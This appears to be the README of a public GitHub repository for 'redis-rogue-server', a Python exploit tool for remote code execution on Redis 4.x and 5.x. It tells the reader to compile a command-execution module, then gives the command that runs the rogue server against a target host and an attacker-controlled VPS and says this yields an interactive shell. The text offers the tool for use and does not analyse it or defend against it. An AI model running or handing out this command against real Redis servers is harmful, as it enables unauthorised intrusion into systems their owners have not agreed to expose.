/redis-rogue-server

Redis 4.x & 5.x RCE

Primary LanguagePython

Redis Rogue Server

A exploit for Redis 4.x and 5.x RCE, inspired by Redis post-exploitation.

Usage:

Compile .so from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.

Copy the .so file to same folder with redis-rogue-server.py.

Run the rogue server:

python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

The default target port is 6379 and the default vps port is 21000.

And you will get an interactive shell!